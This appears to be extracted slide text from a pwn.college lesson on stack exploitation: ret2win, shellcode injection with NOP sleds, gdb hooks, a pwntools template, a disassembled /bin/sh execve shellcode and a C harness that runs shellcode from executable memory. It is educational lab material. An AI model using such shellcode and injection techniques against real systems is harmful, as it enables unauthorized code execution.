Local Variables
Parameters
We can jump anywhere we want in our program!
What we will focus on today:
Soon we will learn:
ret2win is jumping to a function that does our desired behavior.
How do we do this?
Instead of jumping to a function, we write shellcode on the stack and jump to it
Shellcode
Padding/NOP Sled
Address to Shellcode
Shellcode
Padding/NOP Sled
Address to Shellcode
Reference - https://visualgdb.com/gdbreference/commands
Reference - https://visualgdb.com/gdbreference/commands
# This can be .gdbinit or whenever you run gdb.
define hook-stop
x/20xi $rip
info registers
endOpen pwn.college classwork and practice using the hook-stop.
It tells you where it will return to!
# NOTE: This whole thing can be automated with (pwn template /path/to/binary > solve.py)
from pwn import *
#define the binary we are going to work with
exe = context.binary = ELF("/path/to/binary")
"""
If we want to create a new test process without GDB
"""
io = process([exe.path, arg1, arg2, ...])
"""
If we are going to debug
"""
# Optional gdb script if we are going to debug
gdbscript = '''
break main
break func1
continue
'''
io = gdb.debug([exe.path, arg1, arg2, ...], gdbscript=gdbscript)
# Receive until it sees the data specified
io.recvuntil(b"line from stdio")
#Send as a new line
io.sendline(b"line to send")
# Sends without the new line
io.send(b"data to send")
# Receive until seeing a new character
io.recvline()
# combination of recvuntil and send
io.sendafter(b"data to recv", b"data to send")
# Combination of recvuntil and sendline
io.sendlineafter(b"data to recv", b"data to send in newline") # binsh shellcode
0: 6a 68 push 0x68
2: 48 dec eax
3: b8 2f 62 69 6e mov eax, 0x6e69622f
8: 2f das
9: 2f das
a: 2f das
b: 73 50 jae 0x5d
d: 48 dec eax
e: 89 e7 mov edi, esp
10: 68 72 69 01 01 push 0x1016972
15: 81 34 24 01 01 01 01 xor DWORD PTR [esp], 0x1010101
1c: 31 f6 xor esi, esi
1e: 56 push esi
1f: 6a 08 push 0x8
21: 5e pop esi
22: 48 dec eax
23: 01 e6 add esi, esp
25: 56 push esi
26: 48 dec eax
27: 89 e6 mov esi, esp
29: 31 d2 xor edx, edx
2b: 6a 3b push 0x3b
2d: 58 pop eax
2e: 0f 05 syscall
Why?
#asm uses the assembler to write it
#shellcraft generates the assembly
shellcode = asm(shellcraft.sh())
gcc -nostdlib -static shellcode.s -o shellcode-elfobjecopy --dump-section .text=shellcode-raw shellcode.elf/* Create a program with the following lines */
//Allocate memory
page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
//Read shellcode into the mmaped memory
read(0, page, 0x1000);
//Execute the mmapped memory
((void(*)())page)();Source: pwn.college